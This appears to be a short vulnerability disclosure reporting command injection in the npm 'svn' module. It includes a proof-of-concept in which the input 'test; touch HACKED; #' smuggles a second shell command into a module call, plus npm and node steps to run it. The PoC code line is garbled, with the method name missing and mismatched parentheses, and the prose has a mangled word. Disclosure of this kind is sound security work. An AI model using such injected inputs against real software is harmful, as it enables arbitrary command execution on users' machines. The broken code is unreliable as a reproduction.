Code Injection in courajs/node-svn


Reported on

May 2nd 2020


The svn module is vulnerable against RCE since a command is crafted using user inputs not validated and then executedading to arbitrary command injection


  1. Create the following PoC file:
// poc.js
var SVN = require('svn');
var svn = new SVN('./working_copy');"test; touch HACKED; #", function(){});

  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i svn # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created
to join this conversation